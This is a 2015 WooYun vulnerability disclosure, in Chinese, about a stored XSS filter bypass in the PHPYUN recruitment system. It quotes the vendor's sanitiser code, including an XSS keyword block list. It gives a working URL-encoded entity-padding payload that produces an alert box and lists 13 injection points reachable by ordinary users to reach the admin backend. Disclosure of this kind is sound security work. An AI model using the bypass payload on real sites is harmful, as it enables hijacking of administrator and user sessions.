当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-093118

漏洞标题:PHPYUN 再次绕过 十几处存储型xss轻松打后台

相关厂商:php云人才系统

漏洞作者: zxx

提交时间:2015-01-26 18:27

修复时间:2015-04-26 18:28

公开时间:2015-04-26 18:28

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-26: 细节已通知厂商并且等待厂商处理中
2015-01-26: 厂商已经确认,细节仅向厂商公开
2015-01-29: 细节向第三方安全合作伙伴开放
2015-03-22: 细节向核心白帽子及相关领域专家公开
2015-04-01: 细节向普通白帽子公开
2015-04-11: 细节向实习白帽子公开
2015-04-26: 细节向公众公开

简要描述:

20150119

详细说明:

之前提交了一次定位xss,随后前几周有一个绕过,发在了补天平台,这次更新又看了一下。
先给一个上一版本的payload。因为removeXSS函数中只对不超过8个0的html编码进行检测,所以我们通过用8个以上0来绕过检测:
<img src=x onerror=alert(1)>
20150119版修复的时候对data/db.safety.php中对common_htmlspecialchars函数和gpc2sql函数做了修改:
先看common_htmlspecialchars:

QQ截图20150120231500.png


左边是1231版,右边是0119版,可以看到gpc2sql提前了,看看gpc2sql做了什么修改呢:
$arr=array("sleep"=>"Sleep"," and "=>" an d "," or "=>" Or ","%20"=>" ","select"=>"Select","update"=>"Update","count"=>"Count","chr"=>"Chr","truncate"=>"Truncate","union"=>"Union","delete"=>"Delete","insert"=>"Insert","<"=>"&lt;",">"=>"&gt;","\""=>"&quot;","'"=>"&acute;","--"=>"- -","\("=>"(","\)"=>")","00000000"=>""); //注意最后加上了把8个0替换为空
所以我们原来的payload没用了,因为先通过gpc2sql,然后被替换为空后,在后面removeXSS部分就无法绕过了。
理一下过滤的过程,参数进来后,这里用POST举例,另外两个一样:

quotesGPC();//魔术引号,跟我们xss关系不大
if($config['sy_istemplate']!='1' || md5(md5($config['sy_safekey']).$_GET['m'])!=$_POST['safekey'])
{
foreach($_POST as $id=>$v){

$str = html_entity_decode($v,ENT_QUOTES,"GB2312");//先解码str1

$v = common_htmlspecialchars($id,$v,$str,$config);//注意这个函数 ,把没解码的$v和解码过的$str都放进去检测。
safesql($id,$v,"POST",$config);//对解码前的key 和value 进行验证,我们html编码肯定没问题
$id = sfkeyword($id,$config);
$v = sfkeyword($v,$config); //解码前的$v,找不到关键字的
$_POST[$id] = $v;
}
}


所以主要问题就在common_htmlspecialchars里:

function common_htmlspecialchars($key,$str,$str2,$config){
if(is_array($str))
{
foreach($str as $str_k=>$str_v)
{
$str[$str_k] = common_htmlspecialchars($str_k,$str_v);
}
}else{
$str = gpc2sql($str,$str2); //这里提到我们的输入如果有超过8个0的部分都被变成空
if(!in_array($key,array('content','config','group_power','description','body','job_desc','eligible','other','code','intro','doc','traffic','media','packages','booth','participate')))
{
$str = strip_tags($str);
}else{//走到这里

if($_SESSION['xsstooken'] != sha1($config['sy_safekey']))
{
$str = RemoveXSS($str);//这里对第一个$str进行过滤,$str2不管
}
}

}
return $str;
}


那我们接着往下看removeXSS:

function RemoveXSS($val) {
$val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val); //第一行,上来把一些特殊的字符给变为空了,这里是关键,如果我们用&#x00000\x0500003c;就可以绕过上面
$search = 'abcdefghijklmnopqrstuvwxyz';
$search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$search .= '1234567890!@#$%^&*()';
$search .= '~`";:?+/={}[]-_|\'\\';
for ($i = 0; $i < strlen($search); $i++) { //匹配解码前的
$val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ;
$val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ; //关键位置,html编码中间0的个数可以是很多个,正则可能为了效率只匹配8个以内的0,那我们来超过8个0,让他不能解码,就绕过下面的关键字匹配了
}
$ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');
$ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
$ra = array_merge($ra1, $ra2);

$found = true;
while ($found == true) {
$val_before = $val;
for ($i = 0; $i < sizeof($ra); $i++) {
$pattern = '/';
for ($j = 0; $j < strlen($ra[$i]); $j++) {
if ($j > 0) {
$pattern .= '(';
$pattern .= '(&#[xX]0{0,8}([9ab]);)';
$pattern .= '|';
$pattern .= '|(&#0{0,8}([9|10|13]);)';
$pattern .= ')*';
}
$pattern .= $ra[$i][$j];
}
$pattern .= '/i';
$replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2);
$val = preg_replace($pattern, $replacement, $val);
if ($val_before == $val) {
$found = false;
}
}
}
return $val;
}


这时候已经很清楚了,我们的payload进来,先通过gpc2sql,然后经过RemoveXSS。
新的payload:%26%23x00000%05000003c%3b%26%23x00000%050000069%3b%26%23x00000%05000006d%3b%26%23x00000%050000067%3b%26%23x00000%050000020%3b%26%23x00000%050000073%3b%26%23x00000%050000072%3b%26%23x00000%050000063%3b%26%23x00000%05000003d%3b%26%23x00000%050000078%3b%26%23x00000%050000020%3b%26%23x00000%05000006f%3b%26%23x00000%05000006e%3b%26%23x00000%050000065%3b%26%23x00000%050000072%3b%26%23x00000%050000072%3b%26%23x00000%05000006f%3b%26%23x00000%050000072%3b%26%23x00000%05000003d%3b%26%23x00000%050000061%3b%26%23x00000%05000006c%3b%26%23x00000%050000065%3b%26%23x00000%050000072%3b%26%23x00000%050000074%3b%26%23x00000%050000028%3b%26%23x00000%050000031%3b%26%23x00000%050000029%3b%26%23x00000%05000003e%3b
这个是url编码过的,其实就是在多个0中间加上\x05 然后在进入removeXSS后就会被变成空
比如&#x00000\x0500003c; 他不会被gpc2sql处理,因为没有超过8个连续的0,随后进入removeXSS后,变成&#x0000000003c,拥有8个以上0,绕过/(&#0{0,8}'.ord($search[$i]).';?)/正则。
下面我们还是定位html_entity_decode:
用的地方还挺多的,那我们先找一处做个演示,在线黏贴简历处:
/member/user/model/expectq.class.php的save_action:

function save_action(){
if($_POST['submit']){
$eid=(int)$_POST['eid'];
$data['doc']=str_replace("&","&",html_entity_decode($_POST['doc'],ENT_QUOTES,"GB2312")); //将doc参数解码,随后insert或者update进数据库
$_POST['lastupdate']=mktime();
$_POST['integrity']=100;
unset($_POST['eid']);
unset($_POST['submit']);
unset($_POST['doc']);
if(!$eid){
$num=$this->obj->DB_select_num("resume_expect","`uid`='".$this->uid."'");
if($num>=$this->config['user_number']&&$_GET['e']==''){
$this->obj->ACT_msg("index.php?c=resume","你的简历数已经超过系统设置的简历数了");
}
$_POST['doc']='1';
$_POST['uid']=(int)$this->uid;
$nid=$this->obj->insert_into("resume_expect",$_POST);
$data['eid']=(int)$nid;
$data['uid']=(int)$this->uid;
$nid2=$this->obj->insert_into("resume_doc",$data);
if($nid2){
if($num==0){
$this->obj->update_once('resume',array('def_job'=>$nid),array('uid'=>$this->uid));
}
$nid2=$this->obj->DB_update_all("member_statis","`resume_num`=`resume_num`+1","uid='".$this->uid."'");
}
if($nid2)
{
$this->obj->member_log("添加粘贴简历",2,1);
$this->obj->ACT_layer_msg("添加成功!",9,"index.php?c=resume");
}else{
$this->obj->ACT_layer_msg("添加失败!",8,"index.php?c=resume");
}
}else{

$this->obj->update_once("resume_expect",$_POST,array("id"=>$eid));
$nid=$this->obj->update_once("resume_doc",$data,array("eid"=>$eid));
if($nid)
{
$this->obj->member_log("更新粘贴简历",2,2);
$this->obj->ACT_layer_msg("更新成功!",9,"index.php?c=resume");
}else{
$this->obj->ACT_layer_msg("更新失败!",8,"index.php?c=resume");
}
}
}
}
}


漏洞证明:

来试一下,个人权限的用户创建或修改黏贴简历时抓包,写入payload在doc参数:

QQ截图20150121125836.png


写入数据库了:

QQ截图20150121125850.png


随后查看简历(可以是任意权限),看到弹窗了:

QQ截图20150121125902.png


其他地方就不演示了,之前也发过,这也是第三次交这种绕过的存储xss了,既然绕过了其他地方用html_entity_decode的地方都存在问题
筛选一下,除去admin目录下,按输入的话我们个人或者企业用户可以利用的点有13个:
/ask/model/index.class.php中 4处
for_comment_action 评论回答 评论内容
answer_action 回答和追加提问两处 回答和追问内容
save_action 提问 提问内容
/friend/model/index.class.php 一处
addstate_action 发朋友圈 朋友圈内容
/member/com/model/info.class.php
save_action 添加或修改企业介绍 企业介绍
/member/com/model/jobadd.class.php
save_action 添加或修改职位 职位描述
/member/com/model/news.class.php
save_action 添加或新闻 新闻内容
/member/com/model/product.class.php
save_action 添加或产品 产品描述
/member/user/model/expectq.class.php
save_action 添加修改简历 自我介绍
/model/ajax.class.php
mystate_action ajax发朋友圈 朋友圈内容
/model/class/common.php
send_email 邮件内容
send_msg_email 邮件内容
另外phpyun后台功能十分强大,几乎所有信息都可以查看,所以打后台没什么问题,打其他用户包括企业用户也没问题。

修复方案:

版权声明:转载请注明来源 zxx@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-01-26 18:30

厂商回复:

感谢提交,我们会尽快处理!

最新状态:

暂无